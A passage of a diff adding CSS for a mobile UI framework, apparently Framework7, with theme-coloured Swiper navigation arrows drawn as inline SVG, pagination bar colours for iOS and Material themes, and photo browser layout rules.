url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ffcc00'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-yellow .swiper-pagination-bullet-active, +.ios .color-theme-yellow .swiper-pagination-bullet-active { + background: #ffcc00; +} +.ios .color-yellow .swiper-pagination-progressbar, +.ios .color-theme-yellow .swiper-pagination-progressbar, +.ios .color-yellow.swiper-pagination-progressbar, +.ios .color-theme-yellow.swiper-pagination-progressbar { + background: rgba(255, 204, 0, 0.25); +} +.ios .color-yellow .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-yellow .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-yellow.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-yellow.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #ffcc00; +} +.ios .swiper-button-prev.color-orange, +.ios .swiper-container-rtl .swiper-button-next.color-orange, +.ios .color-theme-orange .swiper-button-prev, +.ios .color-theme-orange .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ff9500'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-orange, +.ios .swiper-container-rtl .swiper-button-prev.color-orange, +.ios .color-theme-orange .swiper-button-next, +.ios .color-theme-orange .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ff9500'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-orange .swiper-pagination-bullet-active, +.ios .color-theme-orange .swiper-pagination-bullet-active { + background: #ff9500; +} +.ios .color-orange .swiper-pagination-progressbar, +.ios .color-theme-orange .swiper-pagination-progressbar, +.ios .color-orange.swiper-pagination-progressbar, +.ios .color-theme-orange.swiper-pagination-progressbar { + background: rgba(255, 149, 0, 0.25); +} +.ios .color-orange .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-orange .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-orange.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-orange.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #ff9500; +} +.ios .swiper-button-prev.color-gray, +.ios .swiper-container-rtl .swiper-button-next.color-gray, +.ios .color-theme-gray .swiper-button-prev, +.ios .color-theme-gray .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%238e8e93'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-gray, +.ios .swiper-container-rtl .swiper-button-prev.color-gray, +.ios .color-theme-gray .swiper-button-next, +.ios .color-theme-gray .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%238e8e93'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-gray .swiper-pagination-bullet-active, +.ios .color-theme-gray .swiper-pagination-bullet-active { + background: #8e8e93; +} +.ios .color-gray .swiper-pagination-progressbar, +.ios .color-theme-gray .swiper-pagination-progressbar, +.ios .color-gray.swiper-pagination-progressbar, +.ios .color-theme-gray.swiper-pagination-progressbar { + background: rgba(142, 142, 147, 0.25); +} +.ios .color-gray .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-gray .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-gray.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-gray.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #8e8e93; +} +.ios .swiper-button-prev.color-white, +.ios .swiper-container-rtl .swiper-button-next.color-white, +.ios .color-theme-white .swiper-button-prev, +.ios .color-theme-white .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-white, +.ios .swiper-container-rtl .swiper-button-prev.color-white, +.ios .color-theme-white .swiper-button-next, +.ios .color-theme-white .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-white .swiper-pagination-bullet-active, +.ios .color-theme-white .swiper-pagination-bullet-active { + background: #ffffff; +} +.ios .color-white .swiper-pagination-progressbar, +.ios .color-theme-white .swiper-pagination-progressbar, +.ios .color-white.swiper-pagination-progressbar, +.ios .color-theme-white.swiper-pagination-progressbar { + background: rgba(255, 255, 255, 0.25); +} +.ios .color-white .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-white .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-white.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-white.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #ffffff; +} +.ios .swiper-button-prev.color-black, +.ios .swiper-container-rtl .swiper-button-next.color-black, +.ios .color-theme-black .swiper-button-prev, +.ios .color-theme-black .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-black, +.ios .swiper-container-rtl .swiper-button-prev.color-black, +.ios .color-theme-black .swiper-button-next, +.ios .color-theme-black .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-black .swiper-pagination-bullet-active, +.ios .color-theme-black .swiper-pagination-bullet-active { + background: #000000; +} +.ios .color-black .swiper-pagination-progressbar, +.ios .color-theme-black .swiper-pagination-progressbar, +.ios .color-black.swiper-pagination-progressbar, +.ios .color-theme-black.swiper-pagination-progressbar { + background: rgba(0, 0, 0, 0.25); +} +.ios .color-black .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-black .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-black.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-black.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #000000; +} +.md .swiper-lazy-preloader { + width: 32px; + height: 32px; + margin-left: -16px; + margin-top: -16px; +} +.md .swiper-button-prev, +.md .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next, +.md .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-pagination-bullet-active { + background: #2196f3; +} +.md .swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #2196f3; +} +.md .swiper-button-prev.color-red, +.md .swiper-container-rtl .swiper-button-next.color-red, +.md .color-theme-red .swiper-button-prev, +.md .color-theme-red .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23f44336'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-red, +.md .swiper-container-rtl .swiper-button-prev.color-red, +.md .color-theme-red .swiper-button-next, +.md .color-theme-red .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23f44336'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-red .swiper-pagination-bullet-active, +.md .color-theme-red .swiper-pagination-bullet-active { + background: #f44336; +} +.md .color-red .swiper-pagination-progressbar, +.md .color-theme-red .swiper-pagination-progressbar, +.md .color-red.swiper-pagination-progressbar, +.md .color-theme-red.swiper-pagination-progressbar { + background: rgba(244, 67, 54, 0.25); +} +.md .color-red .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-red .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-red.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-red.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #f44336; +} +.md .swiper-button-prev.color-green, +.md .swiper-container-rtl .swiper-button-next.color-green, +.md .color-theme-green .swiper-button-prev, +.md .color-theme-green .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%234caf50'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-green, +.md .swiper-container-rtl .swiper-button-prev.color-green, +.md .color-theme-green .swiper-button-next, +.md .color-theme-green .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%234caf50'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-green .swiper-pagination-bullet-active, +.md .color-theme-green .swiper-pagination-bullet-active { + background: #4caf50; +} +.md .color-green .swiper-pagination-progressbar, +.md .color-theme-green .swiper-pagination-progressbar, +.md .color-green.swiper-pagination-progressbar, +.md .color-theme-green.swiper-pagination-progressbar { + background: rgba(76, 175, 80, 0.25); +} +.md .color-green .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-green .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-green.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-green.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #4caf50; +} +.md .swiper-button-prev.color-blue, +.md .swiper-container-rtl .swiper-button-next.color-blue, +.md .color-theme-blue .swiper-button-prev, +.md .color-theme-blue .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-blue, +.md .swiper-container-rtl .swiper-button-prev.color-blue, +.md .color-theme-blue .swiper-button-next, +.md .color-theme-blue .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-blue .swiper-pagination-bullet-active, +.md .color-theme-blue .swiper-pagination-bullet-active { + background: #2196f3; +} +.md .color-blue .swiper-pagination-progressbar, +.md .color-theme-blue .swiper-pagination-progressbar, +.md .color-blue.swiper-pagination-progressbar, +.md .color-theme-blue.swiper-pagination-progressbar { + background: rgba(33, 150, 243, 0.25); +} +.md .color-blue .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-blue .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-blue.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-blue.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #2196f3; +} +.md .swiper-button-prev.color-pink, +.md .swiper-container-rtl .swiper-button-next.color-pink, +.md .color-theme-pink .swiper-button-prev, +.md .color-theme-pink .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23e91e63'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-pink, +.md .swiper-container-rtl .swiper-button-prev.color-pink, +.md .color-theme-pink .swiper-button-next, +.md .color-theme-pink .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23e91e63'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-pink .swiper-pagination-bullet-active, +.md .color-theme-pink .swiper-pagination-bullet-active { + background: #e91e63; +} +.md .color-pink .swiper-pagination-progressbar, +.md .color-theme-pink .swiper-pagination-progressbar, +.md .color-pink.swiper-pagination-progressbar, +.md .color-theme-pink.swiper-pagination-progressbar { + background: rgba(233, 30, 99, 0.25); +} +.md .color-pink .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-pink .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-pink.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-pink.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #e91e63; +} +.md .swiper-button-prev.color-yellow, +.md .swiper-container-rtl .swiper-button-next.color-yellow, +.md .color-theme-yellow .swiper-button-prev, +.md .color-theme-yellow .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ffeb3b'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-yellow, +.md .swiper-container-rtl .swiper-button-prev.color-yellow, +.md .color-theme-yellow .swiper-button-next, +.md .color-theme-yellow .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ffeb3b'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-yellow .swiper-pagination-bullet-active, +.md .color-theme-yellow .swiper-pagination-bullet-active { + background: #ffeb3b; +} +.md .color-yellow .swiper-pagination-progressbar, +.md .color-theme-yellow .swiper-pagination-progressbar, +.md .color-yellow.swiper-pagination-progressbar, +.md .color-theme-yellow.swiper-pagination-progressbar { + background: rgba(255, 235, 59, 0.25); +} +.md .color-yellow .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-yellow .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-yellow.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-yellow.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #ffeb3b; +} +.md .swiper-button-prev.color-orange, +.md .swiper-container-rtl .swiper-button-next.color-orange, +.md .color-theme-orange .swiper-button-prev, +.md .color-theme-orange .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ff9800'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-orange, +.md .swiper-container-rtl .swiper-button-prev.color-orange, +.md .color-theme-orange .swiper-button-next, +.md .color-theme-orange .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ff9800'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-orange .swiper-pagination-bullet-active, +.md .color-theme-orange .swiper-pagination-bullet-active { + background: #ff9800; +} +.md .color-orange .swiper-pagination-progressbar, +.md .color-theme-orange .swiper-pagination-progressbar, +.md .color-orange.swiper-pagination-progressbar, +.md .color-theme-orange.swiper-pagination-progressbar { + background: rgba(255, 152, 0, 0.25); +} +.md .color-orange .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-orange .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-orange.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-orange.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #ff9800; +} +.md .swiper-button-prev.color-gray, +.md .swiper-container-rtl .swiper-button-next.color-gray, +.md .color-theme-gray .swiper-button-prev, +.md .color-theme-gray .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%239e9e9e'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-gray, +.md .swiper-container-rtl .swiper-button-prev.color-gray, +.md .color-theme-gray .swiper-button-next, +.md .color-theme-gray .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%239e9e9e'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-gray .swiper-pagination-bullet-active, +.md .color-theme-gray .swiper-pagination-bullet-active { + background: #9e9e9e; +} +.md .color-gray .swiper-pagination-progressbar, +.md .color-theme-gray .swiper-pagination-progressbar, +.md .color-gray.swiper-pagination-progressbar, +.md .color-theme-gray.swiper-pagination-progressbar { + background: rgba(158, 158, 158, 0.25); +} +.md .color-gray .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-gray .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-gray.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-gray.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #9e9e9e; +} +.md .swiper-button-prev.color-white, +.md .swiper-container-rtl .swiper-button-next.color-white, +.md .color-theme-white .swiper-button-prev, +.md .color-theme-white .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-white, +.md .swiper-container-rtl .swiper-button-prev.color-white, +.md .color-theme-white .swiper-button-next, +.md .color-theme-white .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-white .swiper-pagination-bullet-active, +.md .color-theme-white .swiper-pagination-bullet-active { + background: #ffffff; +} +.md .color-white .swiper-pagination-progressbar, +.md .color-theme-white .swiper-pagination-progressbar, +.md .color-white.swiper-pagination-progressbar, +.md .color-theme-white.swiper-pagination-progressbar { + background: rgba(255, 255, 255, 0.25); +} +.md .color-white .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-white .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-white.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-white.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #ffffff; +} +.md .swiper-button-prev.color-black, +.md .swiper-container-rtl .swiper-button-next.color-black, +.md .color-theme-black .swiper-button-prev, +.md .color-theme-black .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-black, +.md .swiper-container-rtl .swiper-button-prev.color-black, +.md .color-theme-black .swiper-button-next, +.md .color-theme-black .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-black .swiper-pagination-bullet-active, +.md .color-theme-black .swiper-pagination-bullet-active { + background: #000000; +} +.md .color-black .swiper-pagination-progressbar, +.md .color-theme-black .swiper-pagination-progressbar, +.md .color-black.swiper-pagination-progressbar, +.md .color-theme-black.swiper-pagination-progressbar { + background: rgba(0, 0, 0, 0.25); +} +.md .color-black .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-black .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-black.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-black.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #000000; +} +/* === Photo Browser === */ +.photo-browser { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + z-index: 400; +} +.photo-browser-standalone.modal-in { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + -webkit-animation: photo-browser-in 400ms; + animation: photo-browser-in 400ms; +} +.photo-browser-standalone.modal-out { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + -webkit-animation: photo-browser-out 400ms; + animation: photo-browser-out 400ms; +} +.photo-browser-standalone.modal-out.swipe-close-to-bottom, +.photo-browser-standalone.modal-out.swipe-close-to-top { + -webkit-animation: none; + animation: none; +} +.photo-browser-popup.modal-out.swipe-close-to-bottom, +.photo-browser-popup.modal-out.swipe-close-to-top { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.photo-browser-popup.modal-out.swipe-close-to-bottom { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +.photo-browser-popup.modal-out.swipe-close-to-top { + -webkit-transform: translate3d(0, -100vh, 0); + transform: translate3d(0, -100vh, 0); +} +.page.photo-browser-page { + background: none; +} +.photo-browser-popup { + background: none; +} +.photo-browser-exposed .navbar, +.photo-browser-exposed .toolbar { + opacity: 0; + visibility: hidden; + pointer-events: none; +} +.photo-browser-exposed .photo-browser-swiper-container { + background: #000; +} +.photo-browser-of { + margin: 0 5px; +} +.photo-browser-captions { + pointer-events: none; + position: absolute; + left: 0; + width: 100%; + bottom: 0; + z-index: 10; + opacity: 1; + -webkit-transition: 400ms; + transition: 400ms; +} +.photo-browser-captions.photo-browser-captions-exposed { + opacity: 0; +} +.photo-browser-caption { + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition: 300ms; + transition: 300ms; + position: absolute; + bottom: 0; + left: 0; + opacity: 0; + padding: 4px 5px; + width: 100%; + text-align: center; + color: #fff; + background: rgba(0, 0, 0, 0.8); +} +.photo-browser-caption:empty { + display: none; +} +.photo-browser-caption.photo-browser-caption-active { + opacity: 1; +} +.photo-browser-captions-light .photo-browser-caption { + background: rgba(255, 255, 255, 0.8); + color: #000; +} +.photo-browser-captions-dark .photo-browser-caption { + color: #fff; +} +.photo-browser-exposed .photo-browser-caption { + color: #fff; + background: rgba(0, 0, 0, 0.8); +} +.photo-browser-swiper-container { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + overflow: hidden; + background: #fff; + -webkit-transition: 400ms; + transition: 400ms; + -webkit-transition-property: background-color; + transition-property: background-color; +} +.photo-browser-prev.swiper-button-disabled, +.photo-browser-next.swiper-button-disabled { + opacity: 0.3; +} +.photo-browser-slide { + width: 100%; + height: 100%; + position: relative; + overflow: hidden; + display: 